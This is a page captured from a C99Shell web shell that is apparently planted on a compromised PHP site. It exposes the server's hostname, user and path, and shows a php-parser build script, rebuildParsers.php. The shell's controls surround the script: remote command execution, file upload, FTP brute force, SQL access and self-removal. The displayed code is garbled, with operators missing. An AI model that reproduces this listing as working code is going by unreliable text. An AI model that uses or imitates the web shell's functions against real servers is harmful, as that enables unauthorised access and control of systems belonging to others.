!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/nikic/php-parser/grammar/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     rebuildParsers.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require __DIR__ '/phpyLang.php';

$grammarFileToName = [
    
__DIR__ '/php5.y' => 'Php5',
    
__DIR__ '/php7.y' => 'Php7',
];

$tokensFile     __DIR__ '/tokens.y';
$tokensTemplate __DIR__ '/tokens.template';
$skeletonFile   __DIR__ '/parser.template';
$tmpGrammarFile __DIR__ '/tmp_parser.phpy';
$tmpResultFile  __DIR__ '/tmp_parser.php';
$resultDir __DIR__ '/../lib/PhpParser/Parser';
$tokensResultsFile $resultDir '/Tokens.php';

$kmyacc getenv('KMYACC');
if (!
$kmyacc) {
    
// Use phpyacc from dev dependencies by default.
    
$kmyacc __DIR__ '/../vendor/bin/phpyacc';
}

$options array_flip($argv);
$optionDebug = isset($options['--debug']);
$optionKeepTmpGrammar = isset($options['--keep-tmp-grammar']);

///////////////////
/// Main script ///
///////////////////

$tokens file_get_contents($tokensFile);

foreach (
$grammarFileToName as $grammarFile => $name) {
    echo 
"Building temporary $name grammar file.\n";

    
$grammarCode file_get_contents($grammarFile);
    
$grammarCode str_replace('%tokens'$tokens$grammarCode);
    
$grammarCode preprocessGrammar($grammarCode);

    
file_put_contents($tmpGrammarFile$grammarCode);

    
$additionalArgs $optionDebug '-t -v' '';

    echo 
"Building $name parser.\n";
    
$output execCmd("$kmyacc $additionalArgs -m $skeletonFile -p $name $tmpGrammarFile");

    
$resultCode file_get_contents($tmpResultFile);
    
$resultCode removeTrailingWhitespace($resultCode);

    
ensureDirExists($resultDir);
    
file_put_contents("$resultDir/$name.php"$resultCode);
    
unlink($tmpResultFile);

    echo 
"Building token definition.\n";
    
$output execCmd("$kmyacc -m $tokensTemplate $tmpGrammarFile");
    
rename($tmpResultFile$tokensResultsFile);

    if (!
$optionKeepTmpGrammar) {
        
unlink($tmpGrammarFile);
    }
}

////////////////////////////////
/// Utility helper functions ///
////////////////////////////////

function ensureDirExists($dir) {
    if (!
is_dir($dir)) {
        
mkdir($dir0777true);
    }
}

function 
execCmd($cmd) {
    
$output trim(shell_exec("$cmd 2>&1"));
    if (
$output !== "") {
        echo 
"> " $cmd "\n";
        echo 
$output;
    }
    return 
$output;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--